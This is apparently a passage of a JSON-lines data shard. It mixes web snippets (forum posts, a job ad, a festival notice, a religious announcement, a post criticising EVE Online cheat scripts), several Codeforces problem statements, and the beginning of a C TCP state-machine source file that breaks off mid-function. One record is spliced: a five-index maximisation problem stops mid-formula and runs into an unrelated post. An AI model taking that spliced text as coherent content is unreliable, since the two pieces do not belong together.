necessary to determine how ligands (hormones and neurotransmitters) activate / inactivate their receptor targets and what are the associated cellular signals.\nStrong local consistency filtering for weighted constraint networks and other graphical models – FICOLOFO\nThis project is an essential part of the process of extending the classical Constraint Programming paradigm to optimization problems by defining a Cost Function Programming framework.
    We are fitting our Cost Function Network Solver toulbar2 with stronger inference algorithms, global cost functions and making it easier to use through a python/Numberjack interface. Several applications (nurse rostering, protein design, crop allocation problems) are already handled by Cost Function programming.\nIn order to simulate the energy performance of low energy buildings more precisely, human behaviour can be modeled through multi-agent systems and coupled to dynamical building simulation. Exploiting electrical load profiles or other measured data allows for identification of simplified models of buildings or appliances, and, in return, for better sizing and control of the building systems and appliances.\nThe SATURN project takes place in this context of
    autonomous embedded systems and proposes to revise the actual fundamentals of embedded computing architectures. We propose in this project an original approach compared to the classical centralised approaches based on new computation paradigms. The SATURN project associates researchers from digital embedded systems and artificial intelligence in order to define this architecture
    of a new type for smart embedded plateforms.\nalgorithms and in the design of experimental intelligent vehicles. They have also participated in projects", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I started my pyramania with an IceDice set, and I missed the window for the old tube-packaged sets of Treehouse. But now I'd like to get my hands on a copy of the rules from that set. Or maybe someone could even tell me whether it will really answer my need. Here's the scenario.\nPink Hijinks is adorable, but a little frustrating in the face of the terrific flexibility offered by the contents of other pyramid games. E.g. The new Treehouse set explicitly offers itself to play Pharaoh, but it's also ready for IceSickle, Ice Age, and other game options. For a little while, I thought that Pink Hijinks itself was the only game playable with the contents of the Pink Hijinks bag. Then I realized that I could add a Treehouse die, and the kit would be sufficient for a two-handed game of Treehouse.\nSo I'd like a copy of the rules that will fit in the Hijinks bag, to orient new players. The IceSheet version is too big, but I'm hopeful that the rules from the old Treehouse tubes will do the trick.\nThere's a scan at boardgamegeek of some older version of the Treehouse rules from the tube:\nYeah, that's just what I need. Thanks!\nif you give me your address, I can probably send you one of my dozen sets of classic treehouse rules.\nfFunny thing about those. you'd buy a bunch of tubes, and you'd get a whole lot of rules to that one game. I think i still have lots of copies in my bag of stuff.\nTerrific. I'm actually having trouble legibly printing out the BGG image file. I'll send you my address. I figured there would be folks with a surplus of old tube rules. Thanks in advance.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 378, "token_count_with_eod": 379, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "One of the big issues that I would like to focus more attention on is python injection.\nFor the folks that are unaware, much of the EvE client and server are written in a programming language called Python. The usage of Python would normally be fine, though it does have some effect on the speed of the client, but the major problem is that people have been injecting their own python code into the client, in order to do a bunch of different things. Currently, one can easily find the following available:\n1) A script that modifies the in game autopilot to warp to 0 km from a gate, instead of the normal 15 km.\n2) A script that removes the session change timer when jumping, undocking, joining a fleet, etc.\n3) A script that modifies the scanner to add the following features:\nA) Load/Save probe positions. Lets say you get a hit on 2 different sigs in one scan. You can save the probe positions, scan one down, then load and work on the 2nd one.\nB) Contract/Expand probes around their center point.\nC) Load/Save signatures to ignore\nD) Center probes around a signature\nE) Make it so when people warp off, they stay visible in the direction they warped.\n4) Several different bots, some public and some private. These bots can be much more advanced than bots that have to use screen reading technologies.\nIt does sound like CCP has at least started to crack down on the guys that are using python injection, which is a good sign. They need to be much more aggressive, as well as crack down hard on botting in general.\nI realized I left out my last paragraph, about why this stuff is worse than botting. Other than the last one, all of these can be used by regular players to gain unfair advantages both in combat and out of combat.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 393, "token_count_with_eod": 394, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I am developing a custom plugin for a friends server which limits the growth of wheat to 1 stage per a minecraft day. As far as I can tell there isn't an event for when crops grow, or when the state of a block changes. If there is please do tell. Is there currently a way to do this as a plugin and not as a custom bukkit build? I don't need the plugin made for me, but some pointers in the right direction would help. Thank you for your time.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Last year Bob earned by selling memory sticks. During each of n days of his work one of the two following events took place:\n\n- A customer came to Bob and asked to sell him a 2x MB memory stick. If Bob had such a stick, he sold it and got 2x berllars.\n- Bob won some programming competition and got a 2x MB memory stick as a prize. Bob could choose whether to present this memory stick to one of his friends, or keep it.\n\nBob never kept more than one memory stick, as he feared to mix up their capacities, and deceive a customer unintentionally. It is also known that for each memory stick capacity there was at most one customer, who wanted to buy that memory stick. Now, knowing all the customers' demands and all the prizes won at programming competitions during the last n days, Bob wants to know, how much money he could have earned, if he had acted optimally.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Marina loves Sasha. But she keeps wondering whether Sasha loves her. Of course, the best way to know it is fortune telling. There are many ways of telling fortune, but Marina has picked the easiest one. She takes in her hand one or several camomiles and tears off the petals one by one. After each petal she pronounces alternatively \"Loves\" and \"Doesn't love\", at that Marina always starts with \"Loves\". There are n camomiles growing in the field, possessing the numbers of petals equal to a1, a2, ... an. Marina wants to pick a bouquet with the maximal possible total number of petals so that the result would still be \"Loves\". Help her do that; find the maximal number of petals possible in the bouquet.", "source": "cpt_codeforces", "language": "en", "token_count": 160, "token_count_with_eod": 161, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "MarkN writes \"There's hardly a video game made nowadays that doesn't involve puzzles in some sense. In some games they serve as occasional roadblocks to break up the action, and in the genre of adventure games the whole focus of the game is solving a set of related puzzles. I've written a piece for AdventureClassicGaming describing and categorizing puzzles in adventure games. Adventure games make use of explicitly designed abstract puzzles — they're explicitly designed rather than being randomly or procedurally generated, and abstract in the sense that all you need to do is figure out the right actions to perform, rather than making the performing of those actions be a challenge in and of itself. My classification makes distinctions at two levels: you have self-contained puzzles, which can depend upon using your basic verbs of interaction, solving some minigame based around achieving a particular configuration, or providing an answer to a riddle. On the other side, you have puzzles that require some external key: this could be an item, a piece of information, or an internal change to the game's state triggered somewhere else. From there, I talk about some of the possibilities and pitfalls these puzzles carry, as well as their use in other genres. I'd be interested to hear the community's thoughts on the use and application of puzzles in adventure games, and games in general.\"", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "It has came to our attention that about 10% of the Coat of Arms thumbnails are generated incorrectly, with their top and bottom missing. It doesn't seem related to any particular shape or other design setting and we couldn't yet reproduce the issue on our development configs.\nIf you are affected, we would be very thankful for any additional information you can provide on your configuration either here or through email (bugs at feudums dot com). In particular:\n- do you have an integrated graphics card? (or: what kind of gfx card you have?)\n- under what resolution have you used the client? (and full screen or windowed?)\n- your version of the Windows OS", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 140, "token_count_with_eod": 141, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "When I was a kid, thought how great it will be to have my own family since I live in a happy one. But the older we grow, the more scary we are. Everything we are planning to do seems to be a big bet for us because there are too much to consider and once you make the decision, you have to take all the outcomes no matter what.\nTo live with someone is not an easy thing, and I just realized that couple weeks ago. A lot of things needed to be adjusted, even your living ways because you are not living in your own room any more. Everything has to be shared and there are different rules for different people. Like how to do laundry, how to fold the clothes, how to put the dishes, ......blah blah blah...a lot, a lot needed to be learned and communcation is not really an easy thing to do tho.\nOn the other hand, you would be afraid of things.....afraid of what will come next.....and the uncertainty hits you from time to time tho. It's scary and you really have no idea if you will be okay or not!!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 230, "token_count_with_eod": 231, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You can send in entries for the 2017 edition of Roze Filmdagen / Pink Film Days until December 15, 2016.\nThe Roze Filmdagen, the Amsterdam LGBTQ Film Festival, programs a broad and international range of feature films, shorts, and documentaries that are relevant to the LGBTQ community.\nEntries can be from any country, any genre and any format, as long as it's relevant to the LGBTQ community. The Roze Filmdagen does not charge an entry fee.\nNOTE: due to the large number of entries received, we can not individually send out messages to all entries when your film is not selected. We're really sorry, but we have a very limited time between the deadline (Dec 15, 2016) and the finalization of the programme. So, if you haven't received word from us by January 31, 2017, that means your entry is not selected.\nWe actually prefer online entries via a service like Vimeo. If you do, don't forget to include all necessary information, like the password for a private viewing. And please, make sure the resolution is enough to actually judge it.\nAlso, our programming team uses a variety of computers and operating systems. Platform-neutral services like Vimeo, Youtube and the like are preferred over Silverlight, Flash or other proprietary solutions.\nYou can also of course send in a DVD. Please, then also fill in the following form, so we know that something is coming in the mail!\nThe address for physical submissions is:\nc/o Werner Borkes\nWeteringschans 38 - 3\n1017 SH Amsterdam", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 353, "token_count_with_eod": 354, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Prevent this user from interacting with your repositories and sending you notifications.\nLearn more about blocking users.\nContact GitHub support about this user’s behavior.\nLearn more about reporting abuse.\nAllows Rails to manage a second database in your projects (gets you to secondbase)\nExtends ActiveRecord validations with reusable and customizable validation methods.\nForked from roidrage/shoulda-addons\nAwesome add-ons to make Shoulda more awesome.\nLightning talk about secondbase\nForked from thoughtbot/shoulda-matchers\nCollection of testing matchers extracted from Shoulda\nSeeing something unexpected? Take a look at the\nGitHub profile guide.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 135, "token_count_with_eod": 136, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given a string. Remove all digits from it. When a character is removed from a string, all characters to the right of it are shifted one position to the left.", "source": "cpt_codeforces", "language": "en", "token_count": 36, "token_count_with_eod": 37, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Эта тема была архивирована. Если вам нужна помощь, задайте новый вопрос.\nFirefox Mobile is slow/lags with all operations on Nokia N900\nI've been consistently using the Maemo default browser but decided to try FF again after the recent update. I love the Weave integration, and besides being a die-hard ff user, i like being able to have my bookmarks, tabs, passwords, and history synced, as well as having spell check support.\nMy issue is that ff is so slow on my phone it is nearly unusable. Startup time is usually 15 seconds minimum, and scrolling, or even side screening to get to tabs, or options takes forever, or i have to just stop and wait for 20 seconds until things \"catch up\" and even then they're still slow. Is there something I'm doing wrong or something I can do to speed things up??\nВсе ответы (9)\nsame for me. slow and no zoom. it's just crap\nYou can zoom by either double tapping on an element or by using ctrl+up/down on the keyboard.\nThere are a couple issues with the browser that i imagine will be addressed in later versions, such as. The limitations with page scailing and dynamic zoom. N900 long press options not enabled. Lack of flash support without a youtube addon. Generally slow response times.\nFirefox hasnt let me down so far with its desktop browser so hopefully they can iron these issues out.\n@Taylor - Flash works, just follow these instructions to enable it: http://www.nokiaphoneblog.com/?p=2945\nAfter a week of using the N900, I've found that FF Mobile is pretty unusable, even over wifi.\nfirefox works perfectly on my n900. so far i havent had issues with it I just like so much! when i downloaded the first time i recall it was really slow. hence i deleted and downloaded again, now it works just fine! you can try reset your device to factory set up and star over. trust me it worths it. peace out.\nYeah works pretty well, now I've enabled flash.\nBear in mind the N900 doesnt have a huge amount of CPU horsepower so if you've got any other CPU hogs running in the background (the media player \"tracker\" indexer is one that I've been fighting with) it's going to have a detrimental effect on anything else running.\nDownload htop from the repository and have a look.\nFor some web pages, Firefox appears to be as fast as the built in Maemo Microb browser, but for other websites it is much slower - for example my Zimbra email login.\nI hope they optimize it and release a faster Firefox.\nI have n900 working with flash but is very slow, it's a slide show i'm watching. Either they need to put a better cpu or optimize the software. I hope it's just software optimization because if it isn't I'm selling it. I only bought it knowing that it has flash support.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 642, "token_count_with_eod": 643, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "$150K — $200K *\nRally Health™ is all about putting health in the hands of the individual. It’s our mission, and it drives everything we do, which is to empower people with easy-to-use online and mobile tools that help them take charge of their health and health care, from improving their diet and fitness to selecting health benefits, and choosing the right doctor at the right price for their needs.\nOur culture is built on a deep and sincere dedication to helping people live healthier lives. To do this, we are committed to innovating continuously at every level. We know that some of the things we do are not going to work, and that’s okay. We’re not trying to build something that is churn and burn. We’re building something that supports people over their lifetime. Every day, we get to work with amazing people on something that directly impacts the lives of millions of people for the better.\nAt Rally Health, we believe that two heads truly are better than one. Rallyers understand the importance of communication and collaboration, ensuring that we work we produce is the best that it can be. Every opinion is valid and valued, and we share ideas that elevate the way we work. We know that the big picture and the small details are tied together, and we keep both in mind. Everything we do is executed with our users in mind, so we make sure that all of our work has a human touch. Here at Rally, we take advantage of the opportunity to build strong relationships with each other, because it makes us better.\nAbout the Team:\nCare solutions lets people find, price, schedule, prepare, recover and pay for care, and rewards them for choosing the appropriate care (medical, medication, dental, vision, behavioral & DME). Our digital focus is fundamentally changing the way consumers interact with their healthcare. Care solutions are available on the web and mobile. Over 50 million consumers have access to our solutions. Our engineers are passionate about building an end-to-end experience that is seamless, performant, and scales to millions of users.\nYour day to day:\nValid through: 8/17/2020\n$100K — $150K\n11 days ago", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 464, "token_count_with_eod": 465, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given an array of integers $$$a_1,a_2,\\ldots,a_n$$$. Find the maximum possible value of $$$a_ia_ja_ka_la_t$$$ among all five indices $$$(i, j, k, l, t)$$$ ($$$i\nTed has two oil fields, each of which has a heavy oil well and a light oil well. He also has two separators, one of which is rated for heavy oil and the other for light oil.\nTed would like a ProcessBook display that shows an oil field, its two wells, and attribute values for those two wells. He builds an asset hierarchy in AF where each field is the parent of the two wells in the field and builds an Element Relative Display with the field providing the context. Great! ->\nHe'd also like a ProcessBook display that shows each separator, the two wells feeding it, and the attribute values for the wells and compressors. That requires a hierarchy that looks like this:\nTo compound maters, his users would like all equipment units organized into a taxonomy to help them navigate in Coresight. They're asking for a hierarchy that looks like this:\nHow can Ted build these two different element relative displays and the hierarchy for Coresight, all of which require different views of the data, without having to copy all the elements and maintain their attributes in multiple places or build duplicate ProcessBook displays? ->\nObviously, this is a simplification of a real-life problem Zev is having.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 254, "token_count_with_eod": 255, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given an integer $$$n$$$.\n\nYour task is to build a string of uppercase Latin letters. There must be exactly $$$n$$$ special characters in this string. Let's call a character special if it is equal to exactly one of its neighbors.\n\nFor example, there are $$$6$$$ special characters in the AAABAACC string (at positions: $$$1$$$, $$$3$$$, $$$5$$$, $$$6$$$, $$$7$$$ and $$$8$$$).\n\nPrint any suitable string or report that there is no such string.", "source": "cpt_codeforces", "language": "en", "token_count": 111, "token_count_with_eod": 112, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "ߞߎ ߘߏ ߓߌ ߤߥߋߕߊߣߎ ߛߊߜ߳ߊ߫ߕߊ߫ ߊߟߐߊߖ߯ߊߣߘߌߣ\nKu do bi hwetanu Sakpata alo Azandin!\nGreetings to All for this (celebration) time of the deity Sakpata and the Solstice\nAs we enter a new month, we are also blessed to be able to immediately honor and praise the great Ayixosu (king of the earth) Sakpata on the second solstice, which falls on our Dedagbe 2, 6260 (December 21, 2019 Gregorian year).\nSakpata is strictly a deity from the Aja culture (often called For people) of Southern Benin Republic associated with illnesses and healing. To clear up misinformation concerning Sakpata mavomavo, we say that Sakpata:\nA) is not a Yoruba deity\nB) is not the same as Babaluaiye/Sonponna of the Yoruba\nC) is not primarily the deity of smallpox\nD) does not cause smallpox in general\nE) is not associated with end-of-the-year rituals\nSakpata is associated with the second solstice. During this time we invoke Sakpata to cleanse away various illnesses from our families and communities whether they be regular physical illnesses and/or physical illnesses that are the results of internal mental and spiritual illnesses. Sakpata, as a hùn of justice, also deals with moral illnesses. It should be noted that contrary to the primary misunderstanding by black americans in the Isese (“Ifa/Orisa”) tradition, Sakpata is not the same as the Yoruba Babaluaiye though they both share the same basic functions and characteristics. Secondly, contrary to the misunderstanding of the black american Isese “practitioners”, the ceremonies for Sakpata and Babluaiye are not associated with end of the year celebrations and definitely not in relation to the Gregorian calendar. The only people that associate Sakpata or Babaluaiye with “end of the year cleansing” are those in hwendo Máwùfenu (Afrikan culture) who still follow a European calendar and do not have a Máwùfenu calendar of their own – their year starting on the Gregorian January 1.\nAnyone wishing to gain more clarity on the above can contact the Gànlɔdó Kilombonu Xotome (Gànlɔdó Maroon monarchy) and/or want to learn more about how to become a functioning family member – citizen of Gànlɔdó are free to contact us at email@example.com\nAdditionally, when one thinks of Sakapata as a deity concerned with health we think of paying attention to how we treat nature and our food. In relation to food, Ayinon (His Imperial Majesty) Axosu Agelogbagan Azasinkpontin Jisovi Agbovi’s latest book, The Kilombo Cookbook: Aja Foods and ReAfrikanization Diet, contains 160 pages of healthy Afrikan recipes from Southern Benin Republic. This is the first time anyone has produced a recipe book of food from the Aja people. Complete in full color, and unique in containing a glossary of over 300 words strictly related to food, this book is a must have in your process of ReAfrikanization.\nߛߊߜ߳ߊ߫ߕߊ߫߸ ߊߜߊ ߏ߸ ߛߌ߫ߛߌ߫ ߘߊߊ߫ߜߏ߫\nߊߕߏ߫ߕߏ߫ ߊߚߐ ߓߌ ߊߤ߯ߋߜߍߟߎ ߛߊߜ߳ߊ߫ߕߊ߫ ߙߏߕߏߤߎ߫ߣ ߊߕߏ߫ߕ߫", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 911, "token_count_with_eod": 912, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Data Scientist will be based inChennai\nThe Data Scientist will use analytics to identify areas of opportunity within Flex’s global teams to investigate those areas of opportunity and perform analytics that lead to recommended actions to solve the issues identified. This position will be exposed to different types of workforce challenges all over the world. This person will need to apply creativity and innovation to analyze and solve these challenges.\nWe are looking for someone who demonstrates:\n- Intense collaboration\n- Passionate customer focus\n- Thoughtful, fast, disciplined execution\n- Tenacious commitment to continuous improvement\n- Relentless drive to win\nHere is a glimpse of what you will do\n- Engage various internal customers in understanding business problems, and see how data-driven decision making can improve them\n- Based on business needs, develop a comprehensive plan for data collection, data analysis and implementation of results\n- Consolidate and interpret data complex data from many sources, and present meaningful insights in a compelling way using the data driven solution workflow methodology– data preparation, modeling and deployment – predominantly using machine learning/deep learning\n- Work on a broad range of problems in domains like Supply Chain, Manufacturing, Finance, HR, etc.\n- Work across teams to help industrialize solutions that can deliver considerable value by providing actionable insights.\nHere is some of what you will need (required)\n- Overall experience of 5+ years and relevant to Data Science should be 3+ years\n- Strong Python is a must (3-5 years of experience).\n- Experience with AWS and cloud computing (i.e. Azure, Google) (certifications are a plus)\n- Designs, creates, tests and implements complex models and algorithms that drive analytical solutions throughout the organization\n- Regularly tests and maintains analytical models to improve efficiency and keep up with changing business needs, ensuring timely analysis and testing for regular maintenance of solutions over time\n- Must Have solid exposure predictive modelling using Machine Learning, Deep learning, Computer Vision and other techniques\n- Must Have exposure in dealing with Large Datasets on how to handle them.\n- Must Have good Business Acumen and problem-solving skills\n- Must Have knowledge of SQL and No SQL databases\n- Must have an Advanced Degree in Engineering, Computer Science or Mathematics or a combination of experience and training\nHere are a few of our preferred experiences\n- Exposure to reporting tool like Tableau, BO, Microstrategy, Spotfire etc.\n- Microsoft Azure or AWS cloud understanding\n- Understanding of Supply Chain, Enterprise Manufacturing Solutions\n- Proven expertise in solutions that are deployed at scale", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/************************************************************************/\n/* */\n/*\tTCPStateMachine.c This the RFC 793 TCP State Machine */\n/* \t\t */\n/************************************************************************/\n/* Author: Keith Vogel */\n/* Copyright 2013, Digilent Inc. */\n/************************************************************************/\n/* deIP core network library\n*\n* Copyright (c) 2013-2014, Digilent \n* Contact Digilent for the latest version.\n*\n* This program is free software; distributed under the terms of \n* BSD 3-clause license (\"Revised BSD License\", \"New BSD License\", or \"Modified BSD License\")\n*\n* Redistribution and use in source and binary forms, with or without modification,\n* are permitted provided that the following conditions are met:\n*\n* 1. Redistributions of source code must retain the above copyright notice, this\n* list of conditions and the following disclaimer.\n* 2. Redistributions in binary form must reproduce the above copyright notice,\n* this list of conditions and the following disclaimer in the documentation\n* and/or other materials provided with the distribution.\n* 3. Neither the name(s) of the above-listed copyright holder(s) nor the names\n* of its contributors may be used to endorse or promote products derived\n* from this software without specific prior written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n* IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n* OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n* OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n/************************************************************************/\n/* Module Description: */\n/* */\n/*\tTo understand this module, go get a copy of RFC 793 */\n/* */\n/************************************************************************/\n/* Revision History: */\n/* */\n/*\t12/13/2012(KeithV): Created */\n/* */\n/************************************************************************/\n#include \"deIP.h\"\n\n// foward references to local functions\nstatic bool TCPCheckForRST(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus);\nstatic void TCPProcessSYN(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus);\nstatic void TCPProcessACK(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus);\nstatic bool TCPCheckForReTransmit(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus);\nstatic bool TCPProcessTxSocketBuffers(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, int32_t * pcbSend);\nstatic IPSTACK * TCPFlushSocketAndFIN(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, int32_t * pcbSend);\nstatic void UpdateSaSv(TCPSOCKET * pSocket, int32_t rtt);\n\n/*********************************************************************\n * Function: void TCPStateMachine(IPSTACK * pIpStack, SOCKET * pSocket, IPSTATUS * pStatus)\n *\n * Input: pIpStack If data came in on the adaptor, the\n * this contains the incoming segment.\n *\n * pSocket The socket to be processessed. All active sockets are process on each loop,\n * so the pStack can easily be NULL if no data come in on the adaptor.\n * The pSocket can be NULL if data came in on the adaptor for our IP\n * but did not match any active or listin port.\n *\n *\n *\n * Output: pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns: None\n *\n * Note: This is the fundamental implementation of the RFC 793 / 1122 TCPIP state machine.\n *\n ********************************************************************/\nvoid TCPStateMachine(IPSTACK * pIpStack, TCPSOCKET * pSocket, IPSTATUS * pStatus)\n{\n IPSTATUS status = ipsSuccess;\n int32_t cbTCPSeg = 0;\n int32_t cbOptions = 0;\n uint32_t tCur = SYSGetMilliSecond();\n\n // If we got a stack, we got something coming in.\n // this is just not a TCP stack maintanience call.\n if(pIpStack != NULL)\n {\n /************************************************************************************/\n /************************************************************************************/\n /********************************* PROCESS ACK *********************************/\n /************************************************************************************/\n /************************************************************************************/\n TCPProcessACK(pIpStack, pSocket, tCur, pStatus);\n \n /************************************************************************************/\n /************************************************************************************/\n /********************************* PROCESS RESETS *********************************/\n /************************************************************************************/\n /************************************************************************************/\n\n // if a RST was sent, get out of the TCP state machine\n if(TCPCheckForRST(pIpStack, pSocket, tCur, pStatus))\n {\n pIpStack = IPSRelease(pIpStack);\n return;\n }\n\n /************************************************************************************/\n /************************************************************************************/\n /********************************* PROCESS SYN *********************************/\n /************************************************************************************/\n /************************************************************************************/\n TCPProcessSYN(pIpStack, pSocket, tCur, pStatus);\n\n /************************************************************************************/\n /************************************************************************************/\n /************************* SAVE PAYLOAD DATA IN SOCKET *************************/\n /************************************************************************************/\n /************************************************************************************/\n\n // TCPCheckForRST does SEQ checking, so we should just process any data that comes in\n if(pIpStack->cbPayload > 0 && tcpListen <= pSocket->tcpState && pSocket->tcpState <= tcpClosing)\n {\n // if we got data, we need to ACK it.\n if(pSocket->cNeedAck < 15)\n {\n pSocket->cNeedAck++;\n }\n\n // add the data to our socket.\n TCPAddRxDataToSocket(pSocket, pIpStack->pTCPHdr->seqNbr, (u8*)pIpStack->pPayload, pIpStack->cbPayload);\n }\n } // end of that we got an IpStack\n\n /************************************************************************************/\n /************************************************************************************/\n /********************************* RETRANSMIT **********************************/\n /************************************************************************************/\n /************************************************************************************/\n if(TCPCheckForReTransmit(pIpStack, pSocket, tCur, pStatus))\n {\n pIpStack = IPSRelease(pIpStack);\n return;\n }\n\n /************************************************************************************/\n /************************************************************************************/\n /***************************** TCP STATE MACHINE ********************************/\n /************************************************************************************/\n /************************************************************************************/\n switch(pSocket->tcpState)\n {\n // listen -> synRecieved -> established\n case tcpListen: // only looking for a syn\n\n\n // We are looking for a SYN to connect\n if(pIpStack != NULL && pIpStack->pTCPHdr->fSyn)\n {\n uint32_t cbOptions = 0;\n\n // fix up our socket with the attaching data\n pSocket->tcpState = tcpSynReceivedWhileListening; // no longer listening\n pSocket->s.portRemote = pIpStack->pTCPHdr->portSrc;\n\n if(ILIsIPv6(pSocket->s.pLLAdp))\n {\n memcpy(&pSocket->s.ipRemote.ipv6, &pIpStack->pIPv6Hdr->ipSrc, sizeof(IPv6));\n }\n else\n {\n memcpy(&pSocket->s.ipRemote.ipv4, &pIpStack->pIPv4Hdr->ipSrc, sizeof(IPv4));\n }\n\n // because I can't be sure that they sent me the MSS option, I need to blow away their\n //IpStack and get my own where I know I will have the 4 bytes for the options.\n pIpStack = IPSRelease(pIpStack);\n\n // this will always get me a new IpStack, but I may be out so if it\n // fails I need to clean up; it is the best I can do with no resources\n if((pIpStack = TCPCreateSyn(pSocket, &cbOptions, &status)) != NULL)\n {\n // set up for the transmit\n cbTCPSeg = 1; // a SYN is 1 byte long.\n cbOptions = cbOptions;\n pSocket->tLastAck = tCur;\n pSocket->sndISS = TCPGetSeqNumber(pSocket->s.pLLAdp);\n }\n\n // reset the socket to the listening state; wait for another SYN\n // maybe then we will have IpStack resources to accept the connection\n else\n {\n TCPResetSocket(pSocket);\n }\n } \n break;\n\n case tcpSynSent:\n\n // we are waiting for a SYN\n if(pIpStack != NULL && pIpStack->pTCPHdr->fSyn)\n {\n // it is allowable that we get a SYN without an ACK\n // if we get a SYN, we must ACK their SYN at least\n pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, &status);\n \n // moing to the SynRecieved state\n // there we will check to see if we got the ACK to our SYN\n pSocket->tcpState = tcpSynReceived; \n }\n else\n {\n // safe to release a NULL stack\n pIpStack = IPSRelease(pIpStack);\n }\n break;\n\n case tcpSynReceivedWhileListening: // just to remember that it came from a Listening state\n case tcpSynReceived: // only looking for an ack\n\n // RFC 793 section 3.4 figure 8\n // At this point, I am just waiting for an ACK\n // to my SYN. I could have either been in the syn packet return at the tcpSynSent\n // or just waiting for an ACK, even with data in it.\n // I just want my ACK!\n if(pSocket->sndUNA < pSocket->sndNXT)\n {\n // otherwise he did not ack our SYN, so just toss and wait for the SYN ACK\n pIpStack = IPSRelease(pIpStack);\n break;\n }\n\n // before we go to established, set all of our send\n // indexes to the front of the buffer\n // this absolutely safe because we know pSocket->sndNXT == 1\n // because this implementation will NOT send data on the SYN, in fact\n // this implementation will NOT send data until we are in the established state\n // so I know the only value of sndNXT is the SYN, which is 1\n // now we need to set sndNXT to zero, because that will point the to the beginning of our snd buffer.\n pSocket->sndISS += pSocket->sndNXT; \n pSocket->sndRTTComplete = 0; // we are just going to restart the timer\n pSocket->sndNXT = 0;\n pSocket->sndUNA = 0;\n pSocket->sndUP = 0;\n pSocket->sndEND = 0;\n pSocket->sndPSH = 0;\n pSocket->cTxUntilPause = CNTPAUSESEND;\n\n pSocket->tcpState = tcpEstablished;\n\n // fall into establish\n\n case tcpEstablished:\n\n // we have an incoming FIN, process it.\n if(pIpStack != NULL && pIpStack->pTCPHdr->fFin)\n {\n // this can get very tricky. But if the sender is in a retransmit state\n // where he is sending me SEQ NBR before where I actually am, but then just\n // decided to close the connection, the FIN would come in on a SEQ NBR too\n // early.\n // we know we are sending an ack out\n pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus);\n\n // say we received the fin\n pSocket->rcvNXT++;\n pSocket->fGotFin = true;\n\n // we can send the fin with the ack if we have no data to flush\n if( pSocket->sndNXT == pSocket->sndEND)\n {\n pSocket->tcpState = tcpLastAck;\n cbTCPSeg = 1;\n pIpStack->pTCPHdr->fFin = true;\n }\n\n // otherwise we must wait to flush the data in our buffers first\n else\n {\n pSocket->tcpState = tcpCloseWait;\n }\n }\n\n // We always want to call TCPProcessTxSocketBuffers\n // it will check to see if we need to send something\n // It will also do congestion control.\n // always refress the stack, it will use the existing one if we have one\n // or get one if we do not have one. If we are not to send we will\n // release the aquired pIpStack.\n else if( ((pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus)) != NULL) &&\n !TCPProcessTxSocketBuffers(pIpStack, pSocket, tCur, &cbTCPSeg) )\n {\n pIpStack = IPSRelease(pIpStack);\n }\n break;\n\n // This is where we go if we get a FIN from them\n // We need to flush our data and then send a FIN to them\n case 